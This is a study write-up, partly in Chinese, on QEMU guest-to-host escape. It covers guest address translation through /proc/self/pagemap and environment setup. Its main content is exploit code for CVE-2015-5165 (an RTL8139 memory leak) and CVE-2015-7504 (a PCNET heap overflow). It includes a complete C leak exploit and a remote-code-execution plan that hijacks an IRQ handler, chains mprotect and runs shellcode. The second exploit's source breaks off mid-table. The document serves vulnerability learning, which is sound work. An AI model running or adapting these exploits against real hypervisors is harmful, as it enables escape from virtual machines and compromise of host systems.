QEMU Escape Learning

0x01 /proc/self/pagemap

1
2
3
4
5
6
7
- Bits 0-54  : physical frame number if present.
- Bit 55 : page table entry is soft-dirty.
- Bit 56 : page exclusively mapped.
- Bits 57-60 : zero
- Bit 61 : page is file-page or shared-anon.
- Bit 62 : page is swapped.
- Bit 63 : page is present.

virtual->physical

1
2
3
4
5
6
7
8
9
10
11
12
虚拟地址:0x55f28719e260
offset=virtual_addr / page_size * PAGEMAP_ENTRY
=(0x55f28719e260 / 4096)*8 //page_size=getpagesize()
fd=open(pagemap_file)
lseek(fd, offset, SEEK_SET);
read 8 bytes from file
for example->0x818000000009f800
#define PFN ((1ull << 55) - 1)
0x818000000009f800&PFN
物理页帧:0x9f800
物理地址:(0x9f800<<12)|(virtual_addr&0xfff)
(page is present)

0x02 Set Environment

QEMU:

1
2
3
4
5
6
7
8
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout bd80b59
mkdir -p bin/debug/native
cd bin/debug/native
../../../configure --target-list=x86_64-softmmu --enable-debug \
--disable-werror
make

kernel:

1
https://www.kernel.org/

compile:

1
2
make menuconfig//开启rtl8139和pcnet
make -j 4

file system:

1
2
3
4
5
mkdir qemu
sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,busybox\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch qemu

build img:

1
2
3
4
5
6
7
8
9
10
11
12
13
set -eux
sudo sed -i '/^root/ { s/:x:/::/ }' qemu/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a qemu/etc/inittab
printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
echo "ubuntu" | sudo tee qemu/etc/hostname

# Build a disk image
dd if=/dev/zero of=qemu.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F qemu.img
sudo mkdir -p /mnt/qemu
sudo mount -o loop qemu.img /mnt/qemu
sudo cp -a qemu/. /mnt/qemu/.
sudo umount /mnt/qemu

start.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/sh
~/qemu_escape/2/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \
-kernel ~/qemu_escape/2/work_/linux-5.4/arch/x86_64/boot/bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-hda ~/qemu_escape/2/work_/qemu.img \
-enable-kvm -m 2G -nographic \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
#-net user,hostfwd=tcp::1234-:22 -net nic
#有了gcc可以无需开启转发端口->开启nic会导致rtl8139 leak的数据周围没有:
#typedef struct ObjectProperty
# {
# gchar *name;
# gchar *type;
# gchar *description;
# ObjectPropertyAccessor *get;
# ObjectPropertyAccessor *set;
# ObjectPropertyResolve *resolve;
# ObjectPropertyRelease *release;
# void *opaque;

# QTAILQ_ENTRY(ObjectProperty) node;
# } ObjectProperty;

get_addr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

int fd;

uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
printf("%llx\n",addr);
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
printf("%llx\n",offset);
seek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
printf("%llx\n",pme);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256);
strcpy(ptr, "kirin_say");
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr);
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}

0x03 CVE-2015-5165

cat /proc/ioports
看到rtl8139编址在0xc000
注意开启内核编译的rtl8139选项
开启增加-net user,hostfwd=tcp::1234-:22 -net nic(方便传送exp)后无法leak数据->qemu内部tcp处理的那段内存块的具体作用??
初始化时pc.ram错误->不要同时开启多个qemu虚拟机
关键寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
In order to send our malformed packet and read leaked data, we need to
configure first Rx and Tx descriptors buffers on the card, and set up some
flags so that our packet flows through the vulnerable code path.

The figure below shows the RTL8139 registers. We will not detail all of
them but only those which are relevant to our exploit:

+---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+

- TxConfig: Enable/disable Tx flags such as TxLoopBack (enable loopback
test mode), TxCRC (do not append CRC to Tx Packets), etc.
- RxConfig: Enable/disable Rx flags such as AcceptBroadcast (accept
broadcast packets), AcceptMulticast (accept multicast packets), etc.
- CpCmd: C+ command register used to enable some functions such as
CplusRxEnd (enable receive), CplusTxEnd (enable transmit), etc.
- TxAddr0: Physical memory address of Tx descriptors table.
- RxRingAddrLO: Low 32-bits physical memory address of Rx descriptors
table.
- RxRingAddrHI: High 32-bits physical memory address of Rx descriptors
table.
- TxPoll: Tell the card to check Tx descriptors.

A Rx/Tx-descriptor is defined by the following structure where buf_lo and
buf_hi are low 32 bits and high 32 bits physical memory address of Tx/Rx
buffers, respectively. These addresses point to buffers holding packets to
be sent/received and must be aligned on page size boundary. The variable
dw0 encodes the size of the buffer plus additional flags such as the
ownership flag to denote if the buffer is owned by the card or the driver.

struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

The network card is configured through in*() out*() primitives (from
sys/io.h). We need to have CAP_SYS_RAWIO privileges to do so. The following
snippet of code configures the card and sets up a single Tx descriptor.

vmmap

leak

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#include <sys/io.h>
#include <sys/mman.h>
#include <arpa/inet.h>
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <inttypes.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define PHY_RAM 0x80000000

#define page_aligned __attribute__((aligned(PAGE_SIZE)))
#define offsetof(st, m) __builtin_offsetof(st, m)

#define CHUNK_SIZE_MASK ~7ull

#define NMEMB(a) sizeof(a)/sizeof(a[0])

typedef uint64_t hptr_t;
#define HNULL ((hptr_t)0x0)
#define PRIxHPTR PRIx64
typedef uint64_t hsize_t;

#define RTL8139_BUFFER_SIZE 1514

#define PCNET_PORT 0xc100
#define RTL8139_PORT 0xc000

#define CP_RX_OWN (1<<31)
#define CP_RX_EOR (1<<30)
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

#define CP_TX_OWN (1<<31)
#define CP_TX_EOR (1<<30)
#define CP_TX_FS (1<<29)
#define CP_TX_LS (1<<28)
#define CP_TX_LGSEN (1<<27)
#define CP_TX_IPCS (1<<18)
#define CP_TX_UDPCS (1<<17)
#define CP_TX_TCPCS (1<<16)
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)

enum RTL8139_registers {
TxAddr0 = 0x20, /* Tx descriptors (also four 32bit). */
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, /* tell chip to check Tx descriptors for work */
CpCmd = 0xE0, /* C+ Command register (C+ mode only) */
RxRingAddrLO = 0xE4, /* 64-bit start addr of Rx ring */
RxRingAddrHI = 0xE8, /* 64-bit start addr of Rx ring */
};

enum RTL8139_TxPollBits {
CPlus = 0x40,
};

enum RT8139_ChipCmdBits {
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL_8139_CplusCmdBits {
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RTL_8139_tx_config_bits {
TxLoopBack = (1 << 18) | (1 << 17), /* enable loopback test mode */
/*...*/
};

enum RTL_8139_rx_mode_bits {
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
Wrap = 0x80,
MxDMA256 = 0x400,
RbLen64 = 0x1800,
RxFTh512 = 0xa000,
};

struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

struct rtl8139_ring {
struct rtl8139_desc *desc;
void *buffer;
};

/* malformed ip packet with corrupted header size */
static uint8_t rtl8139_packet [] = {
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, 0x52, 0x54, 0x00, 0x12, 0x34,
0x56, 0x08, 0x00, 0x45, 0x00, 0x00, 0x13, 0xde, 0xad, 0x40, 0x00,
0x40, 0x06, 0xde, 0xad, 0xc0, 0x08, 0x01, 0x01, 0xc0, 0xa8, 0x01,
0x02, 0xde, 0xad, 0xbe, 0xef, 0xca, 0xfe, 0xba, 0xbe, 0xca, 0xfe,
0xba, 0xbe, 0x50, 0x10, 0xde, 0xad, 0xde, 0xad, 0x00, 0x00
};

static int fd = -1;
hptr_t phy_mem = 0;

struct IRQState {
uint8_t _nothing[44];
hptr_t handler;
hptr_t arg_1;
int32_t arg_2;
};

struct qemu_object
{
hptr_t name;
hptr_t type;
hptr_t description;
hptr_t get;
hptr_t set;
hptr_t resolve;
hptr_t release;
};

/*virtual->physical*/
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

hptr_t gva_to_hva(void *addr)
{
return gva_to_gpa(addr) + phy_mem;
}

int cmp_page_offset(const void *a, const void *b)
{
return page_offset(*(hptr_t *)a) - page_offset(*(hptr_t *)b);
}

/* RTL8139 primitives */
void rtl8139_card_config()
{
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);//enable tx && rx
outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_desc_config_tx(struct rtl8139_desc *desc, void *buffer)
{
uint32_t addr;

memset(desc, 0, sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |
CP_TX_IPCS | CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;

addr = (uint32_t)gva_to_gpa(buffer);
desc->buf_lo = addr;

addr = (uint32_t)gva_to_gpa(desc);
outl(addr, RTL8139_PORT + TxAddr0);
outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);
}

void rtl8139_desc_config_rx(struct rtl8139_ring *ring, struct rtl8139_desc *desc, int nb)
{
uint32_t addr;
size_t i;
for (i = 0; i < nb; i++) {
ring[i].desc = &desc[i];
memset(ring[i].desc, 0, sizeof(struct rtl8139_desc));

ring[i].buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
memset(ring[i].buffer, 0, RTL8139_BUFFER_SIZE);

addr = (uint32_t)gva_to_gpa(ring[i].buffer);

ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
ring[i].desc->dw0 |= CP_RX_EOR;
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= USHRT_MAX;
ring[i].desc->buf_lo = addr;
}

addr = (uint32_t)gva_to_gpa(desc);
outl(addr, RTL8139_PORT + RxRingAddrLO);
outl(0x0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_packet_send(void *buffer, void *packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE) {
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}
void kirin_leak(void *buffer,size_t num,size_t *tmp_qemu,size_t *tmp_phy,size_t *tmp_heap){
size_t property_get_bool=0x036EF30;
for(int i=0;i<num;i++){
size_t leak_num=*(size_t *)(buffer+i*4);
if(((leak_num&0xfffff00000000000)==0x500000000000) && ((leak_num&0xfff)==0xf30)){
*tmp_qemu=leak_num-property_get_bool;
break;
}
}
for(int i=0;i<num;i++){
size_t leak_num=*(size_t *)(buffer+i*4);
if(((leak_num&0xfffff00000000000)==0x500000000000) && ((leak_num&0xfff)==0xd87)){
*tmp_qemu=leak_num-0xf2d87;
break;
}
}
for(int i=0;i<num;i++){
size_t leak_num=*(size_t *)(buffer+i*4);
if(((leak_num&0xfffff00000000000)==0x700000000000) && ((leak_num&0xfff)==0x80)){
*tmp_phy=leak_num-0x80000080;
break;
}
}
for(int i=0;i<num;i++){
size_t leak_num=*(size_t *)(buffer+i*4);
if(((leak_num&0xfffff00000000000)==0x500000000000) && ((leak_num&0xfff)==0xc70)){
*tmp_heap=leak_num-0x6cc70;
break;
}
}
}
int main()
{
struct rtl8139_ring *rtl8139_rx_ring;
struct rtl8139_desc *rtl8139_rx_desc, rtl8139_tx_desc;
void *rtl8139_tx_buffer;
static const int rtl8139_rx_nb = 44;//->(65535/1514)+1

fd = open("/proc/self/pagemap", O_RDONLY);//to get physical
if (fd < 0) {
perror("open");
exit(1);
}
rtl8139_rx_ring = calloc(rtl8139_rx_nb, sizeof(struct rtl8139_ring));
rtl8139_rx_desc = aligned_alloc(PAGE_SIZE, sizeof(struct rtl8139_desc) * rtl8139_rx_nb);
rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
iopl(3);//修改当前进程的操作端口的权限->3->读写
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc,rtl8139_rx_nb);//配置rx->receive
rtl8139_desc_config_tx(&rtl8139_tx_desc, rtl8139_tx_buffer);//配置tx->transmit
rtl8139_card_config();//配置其他寄存器
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,sizeof(rtl8139_packet));
sleep(2);
size_t i;
size_t qemu_base,phy_base,heap_base,tmp_qemu,tmp_phy,tmp_heap;
qemu_base=0;
phy_base=0;
heap_base=0;
for (i = 0; i < rtl8139_rx_nb; i++){
tmp_qemu=0;
tmp_phy=0;
tmp_heap=0;
kirin_leak(rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE/4,&tmp_qemu,&tmp_phy,&tmp_heap);
if(tmp_qemu){
qemu_base=tmp_qemu;
}
if(tmp_phy){
phy_base=tmp_phy;
}
if(tmp_heap){
heap_base=tmp_heap;
}
}
if(qemu_base)
printf("[+] qemu base:0x%016llx\n",qemu_base);
if(phy_base)
printf("[+] phy base:0x%016llx\n",phy_base);
if(heap_base)
printf("[+] heap base:0x%016llx\n",heap_base);
}

0x04 CVE-2015-7504

hw/net/pcnet.c:1067
pcnet_receive:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (!s->looptest) {
memcpy(src, buf, size);
/* no need to compute the CRC */
src[size] = 0;
src[size + 1] = 0;
src[size + 2] = 0;
src[size + 3] = 0;
size += 4;
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
uint32_t fcs = ~0;
uint8_t *p = src;

while (p != &src[size])
CRC(fcs, *p++);
*(uint32_t *)p = htonl(fcs);
size += 4;
} else {
uint32_t fcs = ~0;
uint8_t *p = src;

while (p != &src[size-4])
CRC(fcs, *p++);
crc_err = (*(uint32_t *)p != htonl(fcs));
}

while (p != &src[size])
CRC(fcs, p++); (uint32_t *)p = htonl(fcs);
没有判断size:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
        if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
s->xmit_pos = -1;
goto txdone;
}

s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
s->xmit_pos += bcnt;

if (!GET_FIELD(tmd.status, TMDS, ENP)) {
goto txdone;
}

#ifdef PCNET_DEBUG
printf("pcnet_transmit size=%d\n", s->xmit_pos);
#endif
if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1)
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos);

s->xmit_pos=buf_size时造成pcnet_receive中计算crc导致溢出
因为只能覆盖低四字节
最后选择使用堆内构造:

1
2
3
4
5
6
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};

理论上直接handler覆盖为system的plt表即可
但是总会返回错误
最后选择mprotect之后调用shellcode,(不过shellcode中我依然调用的system,不知道什么原因??)

1
2
3
4
5
6
7
8

void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;

irq->handler(irq->opaque, irq->n, level);
}

利用两次qemu_set_irq

1
2
3
4
5
6
第一次可以控制handler、opaque、n
分别设置为qemu_set_irq、fake_struct2、PROT_READ | PROT_WRITE | PROT_EXEC
第二次level即可为PROT_READ | PROT_WRITE | PROT_EXEC
设置第二个结构体handler、opaque、n为
mprotect的plt地址、分配的物理地址基址、段size即可
而后第二次重新利用漏洞,将handler设置为shellcode的位置即可->(物理地址转换至qemu内分配地址)

关键寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Before going further, we need to set up the PCNET card in order to
configure the required flags, set up Tx and Rx descriptor buffers and
allocate ring buffers to hold packets to transmit and receive.

The AMD PCNET card could be accessed in 16 bits mode or 32 bits mode. This
depends on the current value of DWI0 (value stored in the card). In the
following, we detail the main registers of the PCNET card in 16 bits access
mode as this is the default mode after a card reset:

0 16
+----------------------------------+
| EPROM |
+----------------------------------+
| RDP - Data reg for CSR |
+----------------------------------+
| RAP - Index reg for CSR and BCR |
+----------------------------------+
| Reset reg |
+----------------------------------+
| BDP - Data reg for BCR |
+----------------------------------+


The card can be reset to default by accessing the reset register.

The card has two types of internal registers: CSR (Control and Status
Register) and BCR (Bus Control Registers). Both registers are accessed by
setting first the index of the register that we want to access in the RAP
(Register Address Port) register. For instance, if we want to init and
restart the card, we need to set bit0 and bit1 to 1 of register CSR0. This
can be done by writing 0 to RAP register in order to select the register
CSR0, then by setting register CSR to 0x3:

outw(0x0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);

The configuration of the card could be done by filling an initialization
structure and passing the physical address of this structure to the card
(through register CSR1 and CSR2):

struct pcnet_config {
uint16_t mode; /* working mode: promiscusous, looptest, etc. */
uint8_t rlen; /* number of rx descriptors in log2 base */
uint8_t tlen; /* number of tx descriptors in log2 base */
uint8_t mac[6]; /* mac address */
uint16_t _reserved;
uint8_t ladr[8]; /* logical address filter */
uint32_t rx_desc; /* physical address of rx descriptor buffer */
uint32_t tx_desc; /* physical address of tx descriptor buffer */
};

例如:可以直接通过pcnet网卡实现看到stop和transmit过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
switch (rap) {
case 0:
s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */

s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);

val = (val & 0x007f) | (s->csr[0] & 0x7f00);

/* IFF STOP, STRT and INIT are set, clear STRT and INIT */
if ((val&7) == 7)
val &= ~3;

if (!CSR_STOP(s) && (val & 4))
pcnet_stop(s);

if (!CSR_INIT(s) && (val & 1))
pcnet_init(s);

if (!CSR_STRT(s) && (val & 2))
pcnet_start(s);

if (CSR_TDMD(s))
pcnet_transmit(s);

配置config地址:

1
2
3
4
#define CSR_IADR(S)      ((S)->csr[ 1] | ((uint32_t)(S)->csr[ 2] << 16))
some like:
RAP设置寄存器
RDP设置值

rce

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
//Without ALSR
#include <sys/io.h>
#include <sys/mman.h>

#include <arpa/inet.h>
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <inttypes.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

#define page_aligned __attribute__((aligned(PAGE_SIZE)))

#define PCNET_BUFFER_SIZE 4096
#define PCNET_PORT 0xc100

#define DRX 0x0001
#define DTX 0x0002
#define LOOP 0x0004
#define DXMTFCS 0x0008
#define INTL 0x0040
#define DRCVPA 0x2000
#define DRCVBC 0x4000
#define PROM 0x8000

enum PCNET_registers {
RDP = 0x10,
RAP = 0x12,
RST = 0x14,
};

#define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])

/* generated using the AUTODIN II polynomial
* x^32 + x^26 + x^23 + x^22 + x^16 +
* x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
*/
static const uint32_t crctab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
